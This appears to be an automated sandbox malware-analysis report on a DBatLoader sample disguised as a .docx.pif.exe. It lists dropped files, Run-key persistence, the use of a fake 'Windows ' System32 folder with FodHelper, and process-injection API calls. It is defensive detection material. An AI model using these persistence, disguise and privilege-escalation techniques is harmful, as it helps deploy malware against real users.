Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe

Window found: window name: SysTabControl32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\colorcpl.exe

Window detected: Number of UI elements: 12

Source: C:\Users\Public\xkn.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows \System32\per.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\16.0\Access\Capabilities\UrlAssociations

Source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Static file information: File size 1085440 > 1048576

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: FodHelper.pdb source: extrac32.exe, 00000012.00000002.1282544160.000001FCCC830000.00000004.00000020.00020000.00000000.sdmp, per.exe, 00000022.00000002.1389829508.00007FF6EF4BB000.00000002.00000001.01000000.00000012.sdmp, per.exe, 00000022.00000000.1363110246.00007FF6EF4BB000.00000002.00000001.01000000.00000012.sdmp, per.exe.18.dr
Source:	Binary string: cmd.pdbUGP source: alpha.exe, 00000008.00000000.1264413808.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000A.00000000.1266008004.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000A.00000002.1267795392.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000C.00000000.1268349543.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000C.00000002.1277417828.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000E.00000000.1277719216.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000E.00000002.1280383467.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000011.00000002.1284778384.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000011.00000000.1280701556.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000015.00000002.1361948594.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000015.00000000.1285093557.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000017.00000000.1301865429.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000017.00000002.1305805578.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000026.00000000.1390985382.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000026.00000002.1397949450.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000002A.00000002.1415158264.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000002A.00000000.1400142537.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe.6.dr
Source:	Binary string: powershell.pdbUGP source: xkn.exe, 00000016.00000000.1285526824.00007FF6C891A000.00000002.00000001.01000000.00000008.sdmp, xkn.exe.15.dr
Source:	Binary string: easinvoker.pdbH source: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256656557.000000007EDC0000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000002.1390105592.000000007F280000.00000004.00001000.00020000.00000000.sdmp, #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe, 00000000.00000003.1256443567.000000007EE90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: reg.pdb source: extrac32.exe, 0000000D.00000002.1276914690.00000178283A0000.00000004.00000020.00020000.00000000.sdmp, ger.exe, 00000018.00000002.1302899439.00007FF7E0A10000.00000002.00000001.01000000.0000000B.sdmp, ger.exe, 00000018.00000000.1302258700.00007FF7E0A10000.00000002.00000001.01000000.0000000B.sdmp, ger.exe.13.dr
Source:	Binary string: powershell.pdb source: xkn.exe, 00000016.00000000.1285526824.00007FF6C891A000.00000002.00000001.01000000.00000008.sdmp, xkn.exe.15.dr
Source:	Binary string: cmd.pdb source: alpha.exe, 00000008.00000000.1264413808.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000A.00000000.1266008004.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000A.00000002.1267795392.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000C.00000000.1268349543.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000C.00000002.1277417828.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000E.00000000.1277719216.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000000E.00000002.1280383467.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000011.00000002.1284778384.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000011.00000000.1280701556.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000015.00000002.1361948594.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000015.00000000.1285093557.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000017.00000000.1301865429.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000017.00000002.1305805578.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000026.00000000.1390985382.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 00000026.00000002.1397949450.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000002A.00000002.1415158264.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe, 0000002A.00000000.1400142537.00007FF64B592000.00000002.00000001.01000000.00000007.sdmp, alpha.exe.6.dr
Source:	Binary string: FodHelper.pdbGCTL source: extrac32.exe, 00000012.00000002.1282544160.000001FCCC830000.00000004.00000020.00020000.00000000.sdmp, per.exe, 00000022.00000002.1389829508.00007FF6EF4BB000.00000002.00000001.01000000.00000012.sdmp, per.exe, 00000022.00000000.1363110246.00007FF6EF4BB000.00000002.00000001.01000000.00000012.sdmp, per.exe.18.dr
Source:	Binary string: reg.pdbGCTL source: extrac32.exe, 0000000D.00000002.1276914690.00000178283A0000.00000004.00000020.00020000.00000000.sdmp, ger.exe, 00000018.00000002.1302899439.00007FF7E0A10000.00000002.00000001.01000000.0000000B.sdmp, ger.exe, 00000018.00000000.1302258700.00007FF7E0A10000.00000002.00000001.01000000.0000000B.sdmp, ger.exe.13.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\Public\Libraries\drbdmeyP.pif

Unpacked PE file: 3.2.drbdmeyP.pif.400000.0.unpack .text:ER;.data:W;.tls:W;.rdata:R;.idata:R;.edata:R;.rsrc:R; vs . :EW;. :EW;. :R;. :W;. :W;. :W;

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Unpacked PE file: 0.2.#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe.2980000.1.unpack

Yara detected DBatLoader

Source: Yara match	File source: 0.2.#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe.2980000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe.2980000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: drbdmeyP.pif.0.dr

Static PE information: 0x9E9038DB [Sun Apr 19 22:51:07 2054 UTC]

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_02997CC8 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,

0_2_02997CC8

Source: alpha.exe.6.dr	Static PE information: section name: .didat
Source: per.exe.18.dr	Static PE information: section name: .imrsiv

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029832FC push eax; ret	0_2_02983338
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029AA2FC push 029AA367h; ret	0_2_029AA35F
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0299D2E4 push ecx; mov dword ptr [esp], edx	0_2_0299D2E9
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0298635A push 029863B7h; ret	0_2_029863AF
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0298635C push 029863B7h; ret	0_2_029863AF
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029AA0AC push 029AA125h; ret	0_2_029AA11D
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029AA1F8 push 029AA288h; ret	0_2_029AA280
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029AA144 push 029AA1ECh; ret	0_2_029AA1E4
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02986748 push 0298678Ah; ret	0_2_02986782
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02986746 push 0298678Ah; ret	0_2_02986782
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0298C4FC push ecx; mov dword ptr [esp], edx	0_2_0298C501
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0298D530 push 0298D55Ch; ret	0_2_0298D554
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0298CB7C push 0298CD02h; ret	0_2_0298CCFA
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0299789C push 02997919h; ret	0_2_02997911
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0298C8AA push 0298CD02h; ret	0_2_0298CCFA
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029968D8 push 02996983h; ret	0_2_0299697B
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029968D6 push 02996983h; ret	0_2_0299697B
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029A9874 push 029A9A60h; ret	0_2_029A9A58
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029ADE98 push eax; ret	0_2_029ADF68
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02999EBB push 02999EF4h; ret	0_2_02999EEC
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02999EBC push 02999EF4h; ret	0_2_02999EEC
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02992EF0 push 02992F66h; ret	0_2_02992F5E
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02995E0C push ecx; mov dword ptr [esp], edx	0_2_02995E0E
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02992FFB push 02993049h; ret	0_2_02993041
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02992FFC push 02993049h; ret	0_2_02993041
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02997F18 push 02997F50h; ret	0_2_02997F48
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02997C7C push 02997CBEh; ret	0_2_02997CB6
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_00419935 push edx; iretd	3_2_00419949
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_00419A3E push eax; ret	3_2_00419A41
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_00414324 push cs; iretd	3_2_004143FA
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_00414426 push cs; iretd	3_2_004143FA

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	File created: C:\Users\Public\Libraries\drbdmeyP.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\extrac32.exe	File created: C:\Users\Public\Libraries\Pyemdbrd.PIF			Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe

Executable created and started: C:\Windows \System32\per.exe

Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_04586EB0 ShellExecuteW,URLDownloadToFileW,

31_2_04586EB0

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	File created: C:\Users\Public\Libraries\drbdmeyP.pif	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\alpha.exe	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\xkn.exe	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Windows \System32\per.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\extrac32.exe	File created: C:\Users\Public\Libraries\Pyemdbrd.PIF	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\ger.exe	Jump to dropped file

Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\alpha.exe	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\xkn.exe	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\ger.exe	Jump to dropped file

Source: C:\Windows\System32\extrac32.exe

File created: C:\Windows \System32\per.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\alpha.exe	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\xkn.exe	Jump to dropped file
Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\ger.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_0459AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

31_2_0459AA4A

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Pyemdbrd			Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Pyemdbrd			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: docx.pif

Static PE information: #U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_02999EF8 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_02999EF8

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
